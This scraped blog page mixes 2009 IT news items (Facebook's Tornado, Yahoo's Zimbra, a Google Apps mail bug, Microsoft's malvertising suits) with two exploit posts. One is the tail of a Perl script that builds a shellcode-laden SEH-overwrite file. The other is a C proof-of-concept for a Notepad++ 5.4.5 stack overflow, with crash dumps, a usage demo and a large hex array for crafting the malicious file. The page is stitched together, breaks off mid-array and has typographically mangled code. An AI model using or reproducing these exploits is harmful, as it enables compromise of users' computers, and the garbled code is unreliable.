"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x30\x5a";

$seh = "\xe8\x4e\xf6\xff\xff";
$neh = "\x4d\x23\x50\x00";
$junk = "\x41" x 2309;
$junk2 = "\x42" x (2327-length($shellcode));
$buffer = $header1.$junk.$shellcode.$junk2.$neh.$seh.$header2;
print "crafted file: winplotxpl.wp2\n";

open (FILE, ">winplotxpl.wp2");
print FILE $buffer;
close(FILE);

Tagged with: • •
Sep 24

Facebook wastes no time putting FriendFeed to work

By jason IT News World 110 Comments »

PALO ALTO, Calif.–Facebook has unleashed a Tornado, and it’s hoping that some eager engineers will go catch it.

Earlier this month, Facebook released the open-source Web server framework called Tornado, which powers the real-time streaming behind its latest toy, social feed aggregator FriendFeed. And on Wednesday evening at the office that most recently housed the FBFund incubator program, senior open programs manager David Recordon and director of products Bret Taylor held a "tech talk" to pitch Tornado to a crowd of several dozen interested members of the Web development community.

"We had actually been planning on open-sourcing (Tornado)" prior to Facebook’s acquisition of FriendFeed, said Taylor, who had served as CEO of the start-up. "When we got to Facebook we thought it was a really good opportunity to do it."

The slant of Wednesday evening’s talk (which was quite technical, so I won’t be going into significant detail): if you’re dealing with real-time, streaming content, Facebook thinks Tornado is for you. And if you’ve been listening to anything that Facebook has been saying recently, it believes the real-time Web is the future for everyone–not just its own company.

"FriendFeed’s a real-time system," Taylor said as he described how the Python-based Tornado framework’s non-blocking nature was ideal for real-time Web services. "Essentially, every active user of FriendFeed maintains an open connection to the FriendFeed servers."

Both Recordon and Taylor are recent arrivals at Facebook: Recordon joined Facebook last month as its resident open-source guru, and the company had acquired FriendFeed a few weeks earlier in a deal that brought on board both a top-notch engineering team (its founders, including Taylor, were Google veterans) and cutting-edge technology for amassing and indexing real-time Web conversations–so cutting-edge, in fact, that it was unclear as to how the mainstream would ever actually accept it.

At the time, there were questions about what, exactly, Facebook would actually do with FriendFeed. In the meantime it’s become clear that acquiring the would-be Twitter rival allowed Facebook to leap ahead with some of its development of new, real-time-focused features as well as to enhance existing ones with FriendFeed’s technology and brainpower.

Open-sourcing the technology doesn’t have an obvious financial end for Facebook. But it will ideally mean that some of the developer community will be marching to Facebook’s beat, at a time when the company continues to compete with the far smaller Twitter for a majority share of what’s come to be known as the real-time Web.

As for its Python foundations, Taylor said that FriendFeed had been looking to build Tornado in a manner "sophisticated enough that we could do all the things we wanted but well known enough so that a new engineer could theoretically understand our code base right away…Python has a lot of its flaws, I wish it had real inline functions like Javascript, but for all of its flaws it’s actually pretty nice to use in practice."

Taylor told me afterward that no concrete plans have been put into action as to which Facebook features may be getting a FriendFeed makeover (so as to speak) but hinted that one getting talked about for some enhancement from the former FriendFeed team is Facebook Chat, the site’s instant messaging client, because of its obviously real-time nature.

Tornado isn’t the first technology that Facebook, still criticized by some of the open-source community for its heavy reliance on proprietary technology and a login wall, has released as open-source code: well over a year ago, the company released the code for a significant portion of its developer platform.

Tagged with: • • • • • •
Sep 21

Yahoo reportedly considers deleting Zimbra

By jason IT News World 3 Comments »

Yahoo could be saying goodbye to more than just search while it reinvents itself as a media company.

Boomtown reported Monday that Yahoo is willing to consider offers for Zimbra, the open-source e-mail company it acquired in 2007 for $350 million. Zimbra’s technology has been incorporated into Yahoo’s e-mail and calendar products but the hosted services it also offers haven’t managed to get as much attention as Google Apps.

One of CEO Carol Bartz’s priorities since she took over at Yahoo has been to simplify the company’s broad array of businesses. Emerging along with that drive to contain Yahoo’s sprawling array of businesses is a shift toward Yahoo as a media company, rather than a technology company. In that context, an open-source e-mail software company that hasn’t set the world afire doesn’t exactly fit.

Google and Comcast are reportedly among the companies kicking the tires on Zimbra, according to Boomtown, although private equity investors might also be involved. The move comes as Yahoo’s inner circle is in New York for Advertising Week, where the company is expected to unveil a new marketing campaign centered on personalization during Chief Marketing Officer Elisa Steele’s keynote speech at the IAB’s MIXX conference.

Tagged with: •
Sep 19

Google Apps bug: You’ve got (my) mail

By jason IT News World 1 Comment »

As a result of a bug in a Google Apps e-mail migration tool, some students at Brown University found other students’ e-mail in their in-box over the weekend as Google was moving their e-mail from Exchange to Gmail, Google confirmed on Friday.

The problem affected a "handful" of organizations that use Google Apps, a spokesman said. He declined to specify how many were affected or how many individual users were affected.

Brown University newspaper the Brown Daily Herald reported that e-mail for 22 students was misdirected starting on Friday, that the university notified Google about it on Saturday, and it was fixed on Tuesday.

However, the Google spokesman said the company found out about the problem on Monday, disabled the affected accounts within hours, and then restored the accounts within a day.

"A very small number of Google Apps domains using the IMAP migration tool last weekend encountered a bug that caused a handful of their users’ mail to be migrated to the wrong accounts," the spokesman said in a statement. "We quickly identified and fixed the issue, which affected less than 0.002% of users, and worked with the organizations to restore the affected accounts to their original state. We have extensive safeguards in place to ensure that users’ mail is safe, and we’re confident this was an isolated incident."

Donald Tom, director of IT support services at the school, complained to the newspaper that the school was not notified before the affected e-mail accounts were suspended. However, he did praise Google for moving swiftly to fix the problem.

Asked to respond to that criticism, the Google spokesman said: "In this case we made the judgment call that the safest and most expedient course of action for the affected users was to suspend affected accounts as soon as possible. In our conversations with our customers, they’ve appreciated our prompt actions and have been satisfied with the outcome."

Tagged with: • •
Sep 17

Microsoft sues over malicious online ads

By jason IT News World 1 Comment »

Aiming to crack down on a growing problem, Microsoft said it filed five lawsuits Thursday against parties it suspects of posting online advertisements laden with malicious code.

Microsoft has tried to work with ad networks to thwart such "malvertising" in the past, but this is the first time it has gone to court.

"Our filings in King County Superior Court in Seattle outline how we believe the defendants operated, but in general, malvertising works by camouflaging malicious code as harmless online advertisements," Microsoft Associate General Counsel Tim Cranton said in a blog posting.

In each case, Microsoft is suing the unknown parties responsible for the ads.

"Although we don’t yet know the names of the specific individuals behind these acts, we are filing these cases to help uncover the people responsible and prevent them from continuing their exploits," Cranton said.

In the past week, The New York Times’ Web site was hit with a rogue advertisement that told readers that their computer may be infected with a virus and redirected them to a site that purports to offer antivirus software.

"Scareware is often distributed among criminals, which therefore results in many of the animations a user may see utilizing a common design and interface," a Microsoft told CNET News. "However, without additional information and specific details about the attacks, we cannot be certain that any of today’s filings directly relate to the attacks on The New York Times’ Web site."

Microsoft likened the latest lawsuits to prior legal action that it has taken against those suspected of click fraud or instant messaging spam.

"This work is vitally important because online advertising helps keep the Internet up and running," Cranton said. "It’s the fuel that drives search technologies. It pays for free online services like Windows Live, Facebook, Yahoo, and MSN. Fraud and malicious abuse of online ad platforms are therefore a serious threat to the industry and for all consumers and businesses that rely on these free services."

Tagged with: • • • • •
Sep 16

Notepad++ 5.4.5 Local .C/CPP Stack Buffer Overflow PoC (0day)

By jason Security Tools No Comments »

/*
**************************************************************
(0day)Notepad++ 5.4.5 Local .C/CPP Stack Buffer Overflow POC*
  by fl0 fl0w                                                *
************************************************************** 
*/

/*****************************************************************************************************
LATEST FIXES                                                                                         *
Notepad++ v5.4.5 fixed bugs (from v5.4.4) :                                                          *
1.  Fix plugins shortcuts not working bug.                                                           *
2.  Fix the tooltip on toolbar display bug for the plugins icons.                                    *
3.  Fix a crash that was occurring when searching in files from a deep path.                         *
4.  Fix a crash issue (Unicode binary) while close Notepad++ with an RC file opened under Chinese Xp.*
5.  Fix Pascal and Scheme syntax highlighting problem (fixes in styles.xml).                         * 
6.  Add SQL folding capacity.                                                                        *  
******************************************************************************************************
*/

/***************************************************************************
This is the latest version of notepad++.                                   *
As you can see no buffer overflow bug is mentioned to exist or to be fixed.*
****************************************************************************
*/

/***********************************************************
DEBUGGING INFORMATION                                      *
CPU REGISTERS                                              *
EAX 00000000                                               *
ECX 003B74C4                                               *
EDX 00000000                                               *
EBX 0999A999                                               *
ESP 000E0764                                               *
EBP 000E0834                                               *
ESI 00B3D760                                               *
EDI 003B74B0                                               *
EIP 1000A258 SciLexer.1000A258                             *
                                                           *
Function  SciLexer() is causing this bug.                  *
Let’s look at the assembly instructions:                   *
                                                           *
ASSEMBLY INSTRUCTIONS                                      *
1000A258   8910             MOV DWORD PTR DS:[EAX],EDX     *
1000A25A   8B45 F8          MOV EAX,DWORD PTR SS:[EBP-8]   *
1000A25D   8B80 60090000    MOV EAX,DWORD PTR DS:[EAX+960] *
1000A263   8B80 B0010000    MOV EAX,DWORD PTR DS:[EAX+1B0] *
1000A269   0FAF81 24060000  IMUL EAX,DWORD PTR DS:[ECX+624]*
1000A270   2055 FF          AND BYTE PTR SS:[EBP-1],DL     *
1000A273   8945 C0          MOV DWORD PTR SS:[EBP-40],EAX  *
1000A276   8B41 10          MOV EAX,DWORD PTR DS:[ECX+10]  *
1000A279   05 6C0B0000      ADD EAX,0B6C                   *
1000A27E   8945 CC          MOV DWORD PTR SS:[EBP-34],EAX  *
1000A281   33C0             XOR EAX,EAX                    *
1000A283   6A 1F            PUSH 1F                        *
1000A285   59               POP ECX                        *
                                                           *
EDX=00000000                                               *
DS:[00000000]=???                                          *
************************************************************
*/

/*************************************************************
STACK                                                        *
000BFEB4   004956A0  notepad+.004956A0                       *
000BFEB8   F74B257B                                          *
000BFEBC   FFFFFFFE                                          *
000BFEC0   58585858                                          *
000BFEC4   58585858                                          *
000BFEC8   58585858q                                         *
000BFECC   58585858                                          *
000BFED0   58585858                                          *
000BFED4   58585858                                          *
000BFED8   58585858                                          *
000BFEDC   58585858                                          *
000BFEE0   58585858                                          *
000BFEE4   58585858                                          *
000BFEE8   58585858                                          *
000BFEEC   58585858                                          *                                         
000BFEF4   58585858                                          *
000BFEF8   58585858                                          *
000BFEFC   58585858                                          *
000BFF00   58585858                                          *
000BFF04   58585858                                          *                                         
000BFF0C   58585858                                          *
000BFF10   58585858                                          *
……………………………….                          *
Tested succesfull on Microsoft Windows XP Service Pack 3.    *      
To test the exploit(notepad++.c) you need to compile it      *
with cygwin console or linux environment.                    *
If you want to test the executable(test.exe)you need to      *
copy the cygwin1.dll in the same folder as the executable.   *
Notepad++ 5.4.5 crashes in a STACK BUFFER OVERFLOW when a    *
specialy crafted .C/CPP file is opened.You can right click   *
the file and select ->edit with notepad++ or just click open.*
Compiled with cygwin console                                 *
For more debugging info (screenshots)                        *
Download the files from                                      *
http://rapidshare.com/files/280798297/notepad___POC.zip.html *
http://www.2shared.com/file/7836030/4bfaf50b/notepad_POC.html*
http://www.filehost.ro/557267/notepad_POC_zip/               * 
http://www.turboupload.com/1n8248ys8a15/notepad++_POC.zip.html
http://www.gigasize.com/get.php?d=c877pxt4pxb                *  
**************************************************************/

/*****************************************************************************************************************************
DEMO                                                                                                                         *  
I’m in the cygwin console                                                                                                    *
$gcc notepad++.c -o notepad                                                                                                  *
                                                                                                                             *
Now I want to run the .exe from                                                                                              *
CMD console so I copy the cygwin1.dll                                                                                        *
in my folder and run it.                                                                                                     *
                                                                                                                             *
C:\Documents and Settings\Stefan\Desktop\notepad++ POC>dir                                                                   *
Volume in drive C is System                                                                                                 *
Volume Serial Number is A06E-304B                                                                                           *
                                                                                                                             *
Directory of C:\Documents and Settings\Stefan\Desktop\notepad++ POC                                                         *
                                                                                                                             *
2009/09/16  01:13 PM    <DIR>          .                                                                                     *
2009/09/16  01:13 PM    <DIR>          ..                                                                                    *
2008/06/12  08:35 PM         1,872,884 cygwin1.dll                                                                           *
2009/09/14  03:09 PM       100,004,279 fffile.cpp                                                                            *
2009/09/16  01:13 PM            18,042 note.exe                                                                              *
2009/09/14  01:05 AM            12,317 NOTEPAD++ PLEASE READ.odt                                                             *
2009/09/16  01:11 PM            36,923 notepad++.c                                                                           *
2009/09/11  01:40 PM           192,747 screen1.JPG                                                                           *
2009/09/11  01:44 PM           224,376 screen2.JPG                                                                           *
2009/09/12  08:37 PM           443,304 screen3.JPG                                                                           *
               8 File(s)    102,804,872 bytes                                                                                *
               2 Dir(s)   4,864,954,368 bytes free                                                                           *
                                                                                                                             *
C:\Documents and Settings\Stefan\Desktop\notepad++ POC>note.exe                                                              *
  *************************************************                                                                          *
Notepad++ 5.4.5 Stack Buffer Overflow                                                                                        *
Usage is:note [option1] filename                                                                                             *
CREDITS:fl0 fl0w                                                                                                             *
This POC is PRIVATE                                                                                                          *
*************************************************                                                                            *
Example:                                                                                                                     *
                                                                                                                             *
        -f       FILE.c/cpp                                                                                                  *
                                                                                                                             *
C:\Documents and Settings\Stefan\Desktop\notepad++ POC>note.exe -f test.cpp                                                  *
FILE DONE !                                                                                                                  *
path/location of the crafted file is: /cygdrive/c/Documents and Settings/Stefan/                                             *
Desktop/notepad++ POC/                                                                                                       *
                                                                                                                             *
C:\Documents and Settings\Stefan\Desktop\notepad++ POC>dir                                                                   *
Volume in drive C is System                                                                                                 *
Volume Serial Number is A06E-304B                                                                                           *
                                                                                                                             *
Directory of C:\Documents and Settings\Stefan\Desktop\notepad++ POC                                                         *
                                                                                                                             *
2009/09/16  01:18 PM    <DIR>          .                                                                                     *
2009/09/16  01:18 PM    <DIR>          ..                                                                                    *
2008/06/12  08:35 PM         1,872,884 cygwin1.dll                                                                           *
2009/09/14  03:09 PM       100,004,279 fffile.cpp                                                                            *
2009/09/16  01:13 PM            18,042 note.exe                                                                              *
2009/09/14  01:05 AM            12,317 NOTEPAD++ PLEASE READ.odt                                                             *
2009/09/16  01:11 PM            36,923 notepad++.c                                                                           *
2009/09/11  01:40 PM           192,747 screen1.JPG                                                                           *
2009/09/11  01:44 PM           224,376 screen2.JPG                                                                           *
2009/09/12  08:37 PM           443,304 screen3.JPG                                                                           *
2009/09/16  01:18 PM       100,004,279 test.cpp     <————————–here you go now open it with notepad++ 5.4.5  *
               9 File(s)    202,809,151 bytes                                                                                *
               2 Dir(s)   4,746,797,056 bytes free                                                                           *
******************************************************************************************************************************              
*/
   #include "stdio.h"
   #include "string.h"
   #include "windows.h"
   #include "getopt.h"
   #include "stdint.h"
   #include <fcntl.h>
   #include <io.h>
   #define R 0×10
   #define RR 0x1F
   #define SS 0×80
   void CLS(int num_lines)
  {
  int n;
  for(n = 0; n < num_lines; n++)
  puts("");
  }

char checksum(char data[10000], char len)
    {
    uint32_t sum1 = 0xffff, sum2 = 0xffff;
    while (len) {
    unsigned tlen = len > 360 ? 360 : len;
    len -= tlen;
    do {
    sum1 += *data++;
    sum2 += sum1;
    } while (–tlen);
    sum1 = (sum1 & 0xffff) + (sum1 >> 16);
    sum2 = (sum2 & 0xffff) + (sum2 >> 16);
    }
    sum1 = (sum1 & 0xffff) + (sum1 >> 16);
    sum2 = (sum2 & 0xffff) + (sum2 >> 16);
    return sum2 << 16 | sum1;
    }
    void Buildfile(char *fname)
    {
     char V[] =
   { 
   0×20, 0×20, 0×20, 0×20, 0×23, 0×69, 0x6E, 0×63, 0x6C, 0×75, 0×64, 0×65, 0×20, 0x3C, 0×73, 0×74,
    0×64, 0×69, 0x6F, 0x2E, 0×68, 0x3E, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23, 0×69, 0x6E, 0×63,
    0x6C, 0×75, 0×64, 0×65, 0×20, 0x3C, 0×77, 0×69, 0x6E, 0×64, 0x6F, 0×77, 0×73, 0x2E, 0×68, 0x3E,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23, 0×69, 0x6E, 0×63, 0x6C, 0×75, 0×64, 0×65, 0×20, 0x3C,
    0×73, 0×74, 0×72, 0×69, 0x6E, 0×67, 0x2E, 0×68, 0x3E, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23,
    0×69, 0x6E, 0×63, 0x6C, 0×75, 0×64, 0×65, 0×20, 0x3C, 0×67, 0×65, 0×74, 0x6F, 0×70, 0×74, 0x2E,
    0×68, 0x3E, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23, 0×69, 0x6E, 0×63, 0x6C, 0×75, 0×64, 0×65,
    0×20, 0x3C, 0×73, 0×74, 0×64, 0×69, 0x6E, 0×74, 0x2E, 0×68, 0x3E, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×74, 0×79, 0×70, 0×65, 0×64, 0×65, 0×66, 0×20, 0×73, 0×74, 0×72, 0×75, 0×63, 0×74, 0×20,
    0×53, 0×74, 0×61, 0×72, 0×74, 0×20, 0×20, 0x7B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×75, 0×69,
    0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×68, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×75,
    0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×74, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20,
    0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0x6D, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0x6C, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x7D, 0×48, 0×54, 0x4D, 0x4C, 0x3B, 0x0D, 0x0A,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×74, 0×79, 0×70, 0×65, 0×64, 0×65, 0×66, 0×20, 0×73, 0×74,
    0×72, 0×75, 0×63, 0×74, 0×20, 0x4D, 0×69, 0×64, 0×64, 0x6C, 0×65, 0×20, 0x7B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×68, 0x3B, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×65, 0x3B, 0×20,
    0×20, 0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74,
    0×20, 0×73, 0×61, 0x3B, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×75,
    0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×64, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×09, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×09, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0x7D, 0×48, 0×45, 0×41, 0×44, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×74, 0×79, 0×70, 0×65, 0×64, 0×65, 0×66, 0×20, 0×73, 0×74,
    0×72, 0×75, 0×63, 0×74, 0×20, 0×45, 0x6E, 0×64, 0×20, 0×20, 0×20, 0×20, 0x7B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×62, 0x3B, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0x6F, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×44, 0x3B,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×75, 0×69, 0x6E, 0×74, 0×38, 0x5F, 0×74, 0×20, 0×73, 0×79,
    0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x7D, 0×42, 0x4F,
    0×44, 0×59, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23, 0×64, 0×65, 0×66, 0×69, 0x6E, 0×65,
    0×20, 0×42, 0×55, 0×46, 0×46, 0×45, 0×52, 0×53, 0×49, 0x5A, 0×45, 0×20, 0×20, 0×30, 0×78, 0×31,
    0×41, 0×30, 0×41, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23, 0×64, 0×65, 0×66, 0×69, 0x6E, 0×65,
    0×20, 0×46, 0×49, 0x4C, 0×45, 0×53, 0×49, 0x5A, 0×45, 0×20, 0×20, 0×20, 0×20, 0×32, 0×39, 0×41,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×23, 0×64, 0×65, 0×66, 0×69, 0x6E, 0×65, 0×20, 0×53, 0×52,
    0×43, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×22, 0x3C, 0×69, 0x6D, 0×67, 0×20,
    0×73, 0×72, 0×63, 0x3D, 0×22, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×76, 0x6F, 0×69, 0×64, 0×20,
    0×46, 0×62, 0×75, 0×69, 0x6C, 0×64, 0×28, 0×63, 0×68, 0×61, 0×72, 0×20, 0x2A, 0×66, 0x6E, 0×61,
    0x6D, 0×65, 0×29, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0x7B, 0×20, 0×48, 0×54, 0x4D, 0x4C, 0×20,
    0x2A, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×48,
    0×45, 0×41, 0×44, 0×20, 0x2A, 0×68, 0×65, 0x5F, 0×61, 0×64, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×42, 0x4F, 0×44, 0×59, 0×20, 0x2A, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0x3B, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×63, 0×68, 0×61, 0×72, 0×20, 0x2A, 0x6D, 0×65, 0x6D,
    0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x2F,
    0x2F, 0×22, 0x5C, 0×78, 0×34, 0×38, 0x5C, 0×78, 0×35, 0×34, 0x5C, 0×78, 0×34, 0×44, 0x5C, 0×78,
    0×34, 0×43, 0×22, 0×20, 0×20, 0x2D, 0×68, 0×74, 0x6D, 0x6C, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0×20, 0x3D, 0×20, 0×28, 0×48, 0×54, 0x4D, 0x4C, 0x2A,
    0×29, 0x6D, 0×61, 0x6C, 0x6C, 0x6F, 0×63, 0×28, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×48,
    0×54, 0x4D, 0x4C, 0×29, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×68, 0×65,
    0x5F, 0×61, 0×64, 0×20, 0x3D, 0×20, 0×28, 0×48, 0×45, 0×41, 0×44, 0x2A, 0×29, 0x6D, 0×61, 0x6C,
    0x6C, 0x6F, 0×63, 0×28, 0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×48, 0×45, 0×41, 0×44, 0×29,
    0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0×20,
    0x3D, 0×20, 0×28, 0×42, 0x4F, 0×44, 0×59, 0x2A, 0×29, 0x6D, 0×61, 0x6C, 0x6C, 0x6F, 0×63, 0×28,
    0×73, 0×69, 0x7A, 0×65, 0x6F, 0×66, 0×28, 0×42, 0x4F, 0×44, 0×59, 0×29, 0×29, 0x3B, 0x0D, 0x0A,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66, 0×66, 0×65, 0×72, 0×20,
    0x3D, 0×20, 0×28, 0×63, 0×68, 0×61, 0×72, 0x2A, 0×29, 0x6D, 0×61, 0x6C, 0x6C, 0x6F, 0×63, 0×28,
    0×42, 0×55, 0×46, 0×46, 0×45, 0×52, 0×53, 0×49, 0x5A, 0×45, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×69, 0×66, 0×28, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0×20, 0x3D, 0x3D, 0×20,
    0x4E, 0×55, 0x4C, 0x4C, 0×20, 0x7C, 0x7C, 0×20, 0×68, 0×65, 0x5F, 0×61, 0×64, 0×20, 0x3D, 0x3D,
    0×20, 0x4E, 0×55, 0x4C, 0x4C, 0×20, 0x7C, 0x7C, 0×20, 0×62, 0x6F, 0x5F, 0×64, 0×79, 0×20, 0x3D,
    0x3D, 0×20, 0x4E, 0×55, 0x4C, 0x4C, 0×20, 0x7C, 0x7C, 0×20, 0x6D, 0×65, 0x6D, 0×42, 0×75, 0×66,
    0×66, 0×65, 0×72, 0×20, 0x3D, 0x3D, 0×20, 0x4E, 0×55, 0x4C, 0x4C, 0×29, 0×20, 0x7B, 0×20, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×65, 0×78, 0×69, 0×74, 0×28, 0x2D, 0×31, 0×29, 0x3B,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x7D, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0x2D,
    0x3E, 0×73, 0×68, 0×20, 0x3D, 0×20, 0×30, 0×78, 0×34, 0×38, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0x2D, 0x3E, 0×73, 0×74, 0×20, 0x3D, 0×20, 0×30,
    0×78, 0×35, 0×34, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×68, 0×74, 0x5F, 0x6D,
    0x6C, 0x2D, 0x3E, 0×73, 0x6D, 0×20, 0x3D, 0×20, 0×30, 0×78, 0×34, 0×44, 0x3B, 0x0D, 0x0A, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×68, 0×74, 0x5F, 0x6D, 0x6C, 0x2D, 0x3E, 0×73, 0x6C, 0×20, 0x3D,
    0×20, 0×30, 0×78, 0×34, 0×43, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x2F, 0x2F,
    0×73, 0×65, 0×63, 0x6F, 0x6E, 0×64, 0×20, 0×73, 0×74, 0×72, 0×75, 0×63, 0×74, 0×75, 0×72, 0×65,
    0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x2F, 0x2F, 0×48, 0×45, 0×41, 0×44, 0×20, 0×22,
    0x5C, 0×78, 0×34, 0×38, 0x5C, 0×78, 0×34, 0×35, 0x5C, 0×78, 0×34, 0×31, 0x5C, 0×78, 0×34, 0×34,
    0×22, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×68, 0×65, 0x5F, 0×61, 0×64, 0x2D, 0x3E,
    0×73, 0×68, 0×20, 0x3D, 0×20, 0×30, 0×78, 0×34, 0×38, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×68, 0×65, 0x5F, 0×61, 0×64, 0x2D, 0x3E, 0×73, 0×65, 0×20, 0x3D, 0×20, 0×30, 0×78,
    0×34, 0×35, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×68, 0×65, 0x5F, 0×61, 0×64,
    0x2D, 0x3E, 0×73, 0×61, 0×20, 0x3D, 0×20, 0×30, 0×78, 0×34, 0×31, 0x3B, 0x0D, 0x0A, 0×20, 0×20,
